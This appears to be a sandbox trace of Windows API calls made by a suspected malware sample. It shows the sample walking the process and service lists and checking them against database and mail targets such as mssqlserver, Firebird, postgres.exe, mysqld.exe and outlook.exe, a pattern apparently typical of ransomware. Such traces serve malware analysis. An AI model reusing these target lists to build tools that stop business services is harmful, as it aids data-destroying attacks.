	[0271.074] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.074] lstrlenW (lpString="svchost.exe") returned 11
	[0271.074] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0271.074] lstrlenW (lpString="audiodg.exe") returned 11
	[0271.075] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.075] lstrlenW (lpString="svchost.exe") returned 11
	[0271.075] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0271.075] lstrlenW (lpString="userinit.exe") returned 12
	[0271.075] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0271.075] lstrlenW (lpString="explorer.exe") returned 12
	[0271.075] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0271.076] lstrlenW (lpString="dwm.exe") returned 7
	[0271.076] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.076] lstrlenW (lpString="svchost.exe") returned 11
	[0271.076] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0271.076] lstrlenW (lpString="swpesp.exe") returned 10
	[0271.076] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0271.076] lstrlenW (lpString="spoolsv.exe") returned 11
	[0271.076] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0271.077] lstrlenW (lpString="taskhost.exe") returned 12
	[0271.077] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.077] lstrlenW (lpString="svchost.exe") returned 11
	[0271.077] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0271.077] lstrlenW (lpString="reader_sl.exe") returned 13
	[0271.077] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0271.077] CloseHandle (hObject=0x218) returned 1
	[0271.078] Sleep (dwMilliseconds=0x1f4) 
	[0271.745] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280950
	[0271.939] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0271.940] GetLastError () returned 0xea
	[0271.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe90) returned 0x41f5d68
	[0271.940] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xe90, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0271.940] CloseServiceHandle (hSCObject=0x4280950) returned 1
	[0271.940] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0271.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0271.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0271.940] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0271.940] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0271.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0271.940] lstrlenW (lpString="AudioSrv") returned 8
	[0271.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0271.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0271.941] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0271.941] lstrlenW (lpString="BFE") returned 3
	[0271.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0271.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0271.941] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0271.941] lstrlenW (lpString="CryptSvc") returned 8
	[0271.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0271.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0271.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0271.941] lstrlenW (lpString="CscService") returned 10
	[0271.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0271.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0271.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0271.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0271.941] lstrlenW (lpString="DcomLaunch") returned 10
	[0271.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0271.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0271.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0271.942] lstrlenW (lpString="Dhcp") returned 4
	[0271.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0271.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0271.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0271.942] lstrlenW (lpString="Dnscache") returned 8
	[0271.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0271.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0271.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0271.942] lstrlenW (lpString="DPS") returned 3
	[0271.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0271.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0271.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0271.942] lstrlenW (lpString="eventlog") returned 8
	[0271.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0271.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0271.942] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0271.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0271.942] lstrlenW (lpString="EventSystem") returned 11
	[0271.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0271.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0271.943] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0271.943] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0271.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0271.943] lstrlenW (lpString="gpsvc") returned 5
	[0271.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0271.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0271.943] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0271.943] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0271.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0271.943] lstrlenW (lpString="iphlpsvc") returned 8
	[0271.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0271.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0271.943] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0271.943] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0271.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0271.943] lstrlenW (lpString="LanmanServer") returned 12
	[0271.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0271.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0271.943] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0271.943] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0271.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0271.943] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0271.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0271.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0271.943] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0271.943] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0271.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0271.943] lstrlenW (lpString="lmhosts") returned 7
	[0271.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0271.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0271.944] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0271.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0271.944] lstrlenW (lpString="MMCSS") returned 5
	[0271.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0271.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0271.944] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0271.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0271.944] lstrlenW (lpString="MpsSvc") returned 6
	[0271.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0271.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0271.944] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0271.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0271.944] lstrlenW (lpString="NlaSvc") returned 6
	[0271.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0271.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0271.944] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0271.944] lstrlenW (lpString="nsi") returned 3
	[0271.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0271.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0271.944] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0271.944] lstrlenW (lpString="PcaSvc") returned 6
	[0271.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0271.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0271.944] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0271.945] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0271.945] lstrlenW (lpString="PlugPlay") returned 8
	[0271.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0271.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0271.945] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0271.945] lstrlenW (lpString="Power") returned 5
	[0271.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0271.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0271.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0271.945] lstrlenW (lpString="ProfSvc") returned 7
	[0271.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0271.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0271.945] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0271.945] lstrlenW (lpString="RpcEptMapper") returned 12
	[0271.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0271.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0271.945] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0271.945] lstrlenW (lpString="RpcSs") returned 5
	[0271.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0271.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0271.945] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0271.945] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0271.946] lstrlenW (lpString="SamSs") returned 5
	[0271.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0271.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0271.946] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0271.946] lstrlenW (lpString="Schedule") returned 8
	[0271.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0271.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0271.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0271.946] lstrlenW (lpString="SENS") returned 4
	[0271.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0271.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0271.946] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0271.946] lstrlenW (lpString="ShellHWDetection") returned 16
	[0271.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0271.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0271.946] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0271.946] lstrlenW (lpString="Spooler") returned 7
	[0271.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0271.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0271.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0271.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0271.947] lstrlenW (lpString="SysMain") returned 7
	[0271.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0271.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0271.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0271.947] lstrlenW (lpString="Themes") returned 6
	[0271.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0271.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0271.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0271.947] lstrlenW (lpString="TrkWks") returned 6
	[0271.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0271.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0271.947] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0271.947] lstrlenW (lpString="UxSms") returned 5
	[0271.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0271.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0271.947] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0271.947] lstrlenW (lpString="Winmgmt") returned 7
	[0271.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0271.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0271.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0271.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0271.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0271.948] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0271.948] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c
	[0271.949] Process32FirstW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0271.949] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0271.949] lstrlenW (lpString="System") returned 6
	[0271.949] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0271.949] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0271.949] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0271.949] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0271.949] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0271.949] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0271.949] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0271.949] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0271.950] lstrlenW (lpString="smss.exe") returned 8
	[0271.950] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0271.950] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0271.950] lstrlenW (lpString="csrss.exe") returned 9
	[0271.950] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0271.950] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0271.950] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0271.950] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0271.950] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0271.950] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
